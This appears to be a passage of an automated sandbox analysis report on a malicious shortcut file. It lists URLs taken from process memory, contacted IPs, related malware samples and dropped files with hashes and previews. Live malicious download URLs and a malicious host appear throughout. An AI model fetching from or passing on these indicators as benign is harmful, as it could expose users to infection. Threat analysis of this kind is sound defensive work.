https://contoso.com/License	powershell.exe, 00000008.00000002.2196850239.0000023D9A631000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://whitemansearch.shop/setup48	mshta.exe, 00000004.00000002.2037273373.00000270B5050000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000005.00000003.2013768380.0000011ECA300000.00000004.00000800.00020000.00000000.sdmp	false		high
http://whitemansearch.shop/setup...JL	mshta.exe, 00000004.00000002.2037542726.00000270B511A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2033778159.00000270B5119000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2033340330.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026672661.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2011262421.00000270B5108000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.autoitscript.com/autoit3/	ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.microsA	powershell.exe, 00000008.00000002.2240635264.0000023DA2AA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://whitemansearch.shop/ClassroomEc.exep	powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://whitemansearch.shop/setup.	mshta.exe, 00000004.00000003.2011262421.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://whitemansearch.shop/setup(	mshta.exe, 00000004.00000003.2011262421.00000270B508C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B5090000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B5093000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000008.00000002.2196850239.0000023D9A631000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.2261109979.000001E85253E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2351092206.000001E860CB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2351092206.000001E860B82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2196850239.0000023D9A631000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 00000006.00000002.2261109979.000001E85238B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://whitemansearch.shop/setupaProgramFil	forfiles.exe, 00000000.00000002.1997817259.0000022AC8470000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.2261109979.000001E850B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2150689893.0000023D8A5A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://whitemansearch.shop/setup9	mshta.exe, 00000004.00000002.2037315824.00000270B5075000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036767666.00000270B5075000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.2261109979.000001E85253E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2351092206.000001E860CB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2351092206.000001E860B82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2196850239.0000023D9A631000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000006.00000002.2261109979.000001E85238B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://whitemansearch.shop/setupR	mshta.exe, 00000004.00000003.2011262421.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://whitemansearch.shop/setupQ	mshta.exe, 00000004.00000003.2011262421.00000270B508C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B5090000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B5093000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://whitemansearch.shop/setupK	mshta.exe, 00000004.00000003.2011262421.00000270B508C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B5090000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B5093000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000006.00000002.2261109979.000001E851735000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://whitemansearch.shop/setupH	mshta.exe, 00000004.00000002.2038065089.00000270B6B50000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000008.00000002.2196850239.0000023D9A631000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/X	ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.microsoft8	powershell.exe, 00000006.00000002.2363821774.000001E868C90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://whitemansearch.shop/setupC:	forfiles.exe, 00000000.00000002.1997860800.0000022AC8480000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037273373.00000270B5050000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://whitemansearch.shop/setuptC:	mshta.exe, 00000004.00000003.2011262421.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://whitemansearch.shop/setupX	mshta.exe, 00000004.00000003.2032015087.00000278B749B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2030517718.00000278B748F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2031354234.00000278B7491000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://whitemansearch.shop/setupt	mshta.exe, 00000004.00000002.2037905939.00000270B52A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://whitemansearch.shop/setuphttp://whitemansearch.shop/setup	mshta.exe, 00000004.00000003.2034272344.00000278B7503000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	svchost.exe, 00000005.00000003.2013768380.0000011ECA373000.00000004.00000800.00020000.00000000.sdmp	false		high
http://whitemansearch.shop/setup$global:?	powershell.exe	false	Avira URL Cloud: safe	unknown
http://whitemansearch.shop/setupq	mshta.exe, 00000004.00000003.2036700238.00000278B74CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2039999977.00000278B74CE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2033752697.00000278B74CD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://whitemansearch.shop/setupouteHelper.dll	mshta.exe, 00000004.00000003.2011262421.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://whitemansearch.shop/setupl/Z	mshta.exe, 00000004.00000003.2033340330.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037468417.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026672661.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2011262421.00000270B5108000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://whitemansearch.shop	powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000006.00000002.2261109979.000001E850B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2150689893.0000023D8A5A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://whitemansearch.shop/setup...	mshta.exe, 00000004.00000002.2037542726.00000270B511A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2033778159.00000270B5119000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2033340330.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026672661.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2011262421.00000270B5108000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.v	powershell.exe, 00000008.00000002.2121297266.0000023D88A07000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.org	powershell.exe, 00000006.00000002.2261109979.000001E85238B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.80.36	unknown	United States	15169	GOOGLEUS	false
142.251.40.238	clients.l.google.com	United States	15169	GOOGLEUS	false
5.101.153.86	whitemansearch.shop	Russian Federation	198610	BEGET-ASRU	true
142.251.32.99	unknown	United States	15169	GOOGLEUS	false
142.250.81.228	www.google.com	United States	15169	GOOGLEUS	false
104.21.79.229	2no.co	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.72.110	unknown	United States	15169	GOOGLEUS	false
142.250.31.84	accounts.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
192.168.2.5
192.168.2.13
192.168.2.23
192.168.2.15
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1395713
Start date and time:	2024-02-20 23:45:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	setup.lnk
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winLNK@54/56@11/15
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 94% Number of executed functions: 63 Number of non-executed functions: 44
Cookbook Comments:	Found application associated with file extension: .lnk Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 23.51.58.94, 172.217.165.131, 34.104.35.123, 142.250.65.227, 142.250.65.170, 142.251.41.10, 142.250.80.42, 142.250.81.234, 142.251.35.170, 142.251.40.234, 142.250.65.202, 142.251.40.202, 142.250.65.234, 142.250.176.202, 142.250.80.106, 142.251.32.106, 142.250.80.74, 142.251.40.106, 142.251.40.138, 142.251.40.170, 142.251.40.195, 142.251.40.131, 192.229.211.108, 72.21.81.240
Excluded domains from analysis (whitelisted): fs.microsoft.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, www.gstatic.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target mshta.exe, PID 7216 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7364 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: setup.lnk

Simulations

Behavior and APIs

Time	Type	Description
23:45:57	API Interceptor	2x Sleep call for process: svchost.exe modified
23:45:58	API Interceptor	1x Sleep call for process: mshta.exe modified
23:45:59	API Interceptor	79x Sleep call for process: powershell.exe modified
23:46:44	API Interceptor	1x Sleep call for process: Identification.pif modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.79.229	Blog.zip	Get hash	malicious	RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader, Socks5Systemz	Browse
	rlRiFBcuVa.exe	Get hash	malicious	RedLine, SmokeLoader, Xmrig	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse
239.255.255.250	file.html	Get hash	malicious	HTMLPhisher	Browse
	https://www.evernote.com/shard/s491/sh/5d87b597-8484-2539-a327-e9bf2ae43c20/xh8TbUym9taqTRzKKMtdkTHHnVia-XpHpoMUAOC9Z_NyOKNkzuKbubUs_Q	Get hash	malicious	HTMLPhisher	Browse
	https://secure.adnxs.com/clktrb?id=360572&redir=//mailava.com/itokaytakeurtime/Questenginc/a2V2aW5tQHF1ZXN0ZW5naW5jLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	https://m33h876fkad.larksuite.com/wiki/MhqXwPA1ciHmvfk380uuwXn6s8c?from=from_copylink	Get hash	malicious	HTMLPhisher	Browse
	http://sleep.stratosbody.com	Get hash	malicious	Unknown	Browse
	https://lockton-my.sharepoint.com:443/:x:/p/aschultz/Edjpe2rsXltPucXveuJmBS4BJnmrwhDgdpsJVNly3eg8iA?e=4%3aaV9pwX&at=9	Get hash	malicious	HTMLPhisher	Browse
	Top Circle.html	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	https://www.dropbox.com/scl/fi/84tsomcb1i85prnzglz2e/Dordan-Manufacturing-Inc.-ACKNOWLEDGEMENT_053781.pdf?rlkey=u2mc6vbcg3vqo3fr6dz3l2rnj&dl=0	Get hash	malicious	Unknown	Browse
	wgnD5cuT6o.exe	Get hash	malicious	Nanocore	Browse
	https://auth-securedoc.com/Malyssa.torosantucci@firstontario.com	Get hash	malicious	HTMLPhisher	Browse
5.101.153.86	mwcPF1EpU6.exe	Get hash	malicious	DCRat	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
2no.co	Blog.zip	Get hash	malicious	RHADAMANTHYS	Browse	104.21.79.229
	qG2cUr0x4A.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	172.67.149.76
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	104.21.79.229
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	172.67.149.76
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	104.21.79.229
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	172.67.149.76
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	104.21.79.229
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	172.67.149.76
	file.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	172.67.149.76
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	104.21.79.229

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.html	Get hash	malicious	HTMLPhisher	Browse	172.64.207.38
	https://www.evernote.com/shard/s491/sh/5d87b597-8484-2539-a327-e9bf2ae43c20/xh8TbUym9taqTRzKKMtdkTHHnVia-XpHpoMUAOC9Z_NyOKNkzuKbubUs_Q	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://secure.adnxs.com/clktrb?id=360572&redir=//mailava.com/itokaytakeurtime/Questenginc/a2V2aW5tQHF1ZXN0ZW5naW5jLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	32.bat	Get hash	malicious	Unknown	Browse	104.21.62.230
	https://m33h876fkad.larksuite.com/wiki/MhqXwPA1ciHmvfk380uuwXn6s8c?from=from_copylink	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	kn328E7C2B.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	104.21.11.125
	Top Circle.html	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.21.92.48
	https://www.dropbox.com/scl/fi/84tsomcb1i85prnzglz2e/Dordan-Manufacturing-Inc.-ACKNOWLEDGEMENT_053781.pdf?rlkey=u2mc6vbcg3vqo3fr6dz3l2rnj&dl=0	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://auth-securedoc.com/Malyssa.torosantucci@firstontario.com	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://iqutrbanen.ru/xDD94l7/	Get hash	malicious	HTMLPhisher	Browse	104.21.80.141
BEGET-ASRU	FedEx_AWB#53053752046.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	45.130.41.51
	https://csxsteam.com/	Get hash	malicious	Unknown	Browse	45.130.41.12
	oi30i8r35W.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	5.101.152.58
	pXVVl7pMmy.exe	Get hash	malicious	DCRat	Browse	5.101.152.58
	DHL_AWB#6209811980.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	45.130.41.51
	DE6roRnbWj.exe	Get hash	malicious	Unknown	Browse	45.147.176.145
	DE6roRnbWj.exe	Get hash	malicious	Unknown	Browse	45.147.176.145
	mwcPF1EpU6.exe	Get hash	malicious	DCRat	Browse	5.101.153.86
	a5ZFXj0x18.exe	Get hash	malicious	Unknown	Browse	45.147.176.145
	PO-H23-0006384.exe	Get hash	malicious	FormBook	Browse	45.130.41.51

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://secure.adnxs.com/clktrb?id=360572&redir=//mailava.com/itokaytakeurtime/Questenginc/a2V2aW5tQHF1ZXN0ZW5naW5jLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	40.68.123.157
	http://sleep.stratosbody.com	Get hash	malicious	Unknown	Browse	40.68.123.157
	https://lockton-my.sharepoint.com:443/:x:/p/aschultz/Edjpe2rsXltPucXveuJmBS4BJnmrwhDgdpsJVNly3eg8iA?e=4%3aaV9pwX&at=9	Get hash	malicious	HTMLPhisher	Browse	40.68.123.157
	https://www.dropbox.com/scl/fi/84tsomcb1i85prnzglz2e/Dordan-Manufacturing-Inc.-ACKNOWLEDGEMENT_053781.pdf?rlkey=u2mc6vbcg3vqo3fr6dz3l2rnj&dl=0	Get hash	malicious	Unknown	Browse	40.68.123.157
	wgnD5cuT6o.exe	Get hash	malicious	Nanocore	Browse	40.68.123.157
	RemittanceAdvice.html	Get hash	malicious	HTMLPhisher	Browse	40.68.123.157
	https://pocloudcentral.crm.powerobjects.net/PowerEmailWebsite//GetUrl2013.aspx?t=TEka9Gzp+UWz6rVgaDAhSUMAUgBNAA==&eId=03e02621-4ddf-eb11-8150-00155d010e03&pval=//decoridge%E3%80%82com/Post1deGaCr5KBqZquD/IyanewudXu5D1deGaCr5KBqZquD/4OhrBnu/alyssa.torosantucci@firstontario.com&u=276b8dda4ef94158348d5b6b8&id=6b7205781d	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	40.68.123.157
	https://fromsmash.com/sfQaHEZ2sE-bt	Get hash	malicious	HTMLPhisher	Browse	40.68.123.157
	https://m.exactag.com/ai.aspx?tc=77d9bc40b07205bbd26a23a8d2e6b6b4f9&url=//ad.doubleclick.net/clk;265186560;90846275;t;pc=W7767BduoTPAS_ID%5D?//trk.cmpgnr.com/click/gp1u-2sfuxk-d10bsb-ktxsfae4/#ZGI4N0BvZnNvcHRpY3MuY29t	Get hash	malicious	HTMLPhisher	Browse	40.68.123.157
	https://cloudflare-ipfs.com/ipfs/bafybeie3gsi7qsksc36lwmgviy64tuxifxfnygpqrytiwx6wlwi2gw57gq/indaxkillercbvbdgfhmlokirryyt.html#techsupport@ersi.info	Get hash	malicious	HTMLPhisher	Browse	40.68.123.157

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.BackdoorX-gen.25314.22004.exe	Get hash	malicious	Unknown	Browse
	oX9j1y0RV5.exe	Get hash	malicious	SmokeLoader, Vidar	Browse
	p2xoB50aKi.exe	Get hash	malicious	SmokeLoader, Vidar	Browse
	iZ7kyxHDY2.exe	Get hash	malicious	SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	3.exe	Get hash	malicious	LummaC, Remcos	Browse
	2.exe	Get hash	malicious	AsyncRAT, Remcos	Browse
C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.pif	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.BackdoorX-gen.25314.22004.exe	Get hash	malicious	Unknown	Browse
	oX9j1y0RV5.exe	Get hash	malicious	SmokeLoader, Vidar	Browse
	p2xoB50aKi.exe	Get hash	malicious	SmokeLoader, Vidar	Browse
	iZ7kyxHDY2.exe	Get hash	malicious	SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	3.exe	Get hash	malicious	LummaC, Remcos	Browse
	2.exe	Get hash	malicious	AsyncRAT, Remcos	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xdf73ba62, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585782361316054
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	A6003078DFB3E52BCFBE634EDB9D9D0A
SHA1:	416E9884DA273BF2438FE4B60DF6891692894DA7
SHA-256:	398D8581D9DDE2AB47D335900249D498947116064D2658E8F04A09823052CFE9
SHA-512:	5F826CFD49100E8AFA1B498643F2FA8335A2477A04E7D1A1470DBC10A392826CAE8F1E2D3CEC98DF32B6A24F6CC413BA391421FAB9FA5E153158FF0E365003B0
Malicious:	false
Preview:	.s.b... ...............X\...;...{......................0.z..........{..9-...\|-.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................X.9-...\|M..................(t9-...\|M..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\setup[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	73556
Entropy (8bit):	6.206106295767242
Encrypted:	false
SSDEEP:	768:CgGCA1uEYO/QHw+vsxX+auhwF+/unhi1zOz:C4EYO4FsxbvFti5Oz
MD5:	BDE81FBA29E56DB0DD8FE36FFFA8C3C0
SHA1:	3DA0FB3B154EEFC03AD4448B5D5809D8C3D22061
SHA-256:	79AE52B1BBF60846666893FA94F3A07252156D6EE385FC3BD8AAB3370EEA1CA7
SHA-512:	ADBAC013B916043503462570D0FCDE32DAE0211C44E2101818CD4001E8597B73A75DF15589A753AC717B31238CB86FA9851B7D84F9EBD0456115A2E9BE68EB58
Malicious:	false
Preview:	.p+.=LL.`.iZH....g...T...$E.Lu^.. ....x.z <.......8..^.....G..e'..B.. ..3y.f.R9.s.r1.p.D2.q..5.5Of.c...2.A.Y....w.L3.....).....t.0szBo.Y..F.a.........\:.e9.i..,pnBR@...n.4.]9......?#...8..6..w5.W.}Du.>..q..G.x...L.F~.......D.YZs.....b[8...v.K-..Q@um..{.).....n.&_bgK0.......j..... .j.....uq.... $.....e.Q...T......Eu....j.^.K2...3Q..?.U@.r.!j._......X.1J..6...^....f...@?.I...?...FR.o...../......x.S.9..T.........(S..q....}....L......V2.[...!....H^.G..t..a......8ag!.a.......1;.-...~...R..h'..H..K..1.%...$.....H7..A.<."..R...%...n..e.Z..[......%}.......,O...:.{.lq...{vkj......O...-.....J......~vR........4XY.1...y...U;C.H..\|.%..J....'SPU..._.....j.[......4.5E..%.>.."...;...:u`g..2$.....b ..:.p,..<.i.....L........`P...t\|1.J...i#.+%..6S`.K..Gn.p;q...a"k.....9..)V[...;h.K..].....4.......}P..:.......jVs.......&.6....9.X.........g{....HT..l.2^)....W .<.L.........c$ki'\|.1....>..q]3lG.7D..#.d4..P....8J....P._z.-a..[..+.].....&7....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.9243637703272345
Encrypted:	false
SSDEEP:	192:exoe5lpOdxoe56ib49Vsm5emdagkjDt4iWN3yBGHB9smMdcU6CBdcU6Ch9smPpOU:cVib49Vkjh4iUx4cYKib4o
MD5:	EF4099FCAB6D29945272316889156337
SHA1:	5AAFAD4581D21179B892604BEBD6038792F8CBD6
SHA-256:	A86220AB1F2A5498457C8801DFCBB2FE3EA6977378CE7E3EEBD007336AFDB3BC
SHA-512:	EC9BB5508D39E6C038878F789DE84F7FBDC87CD20AE3EF81D68BC6589784ADB98EDCDEBF544A463C0AB2F01F52B743803A49A4F3A54FD3D003851B7DEEB8014C
Malicious:	false
Preview:	PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	3012
Entropy (8bit):	5.469915643058648
Encrypted:	false
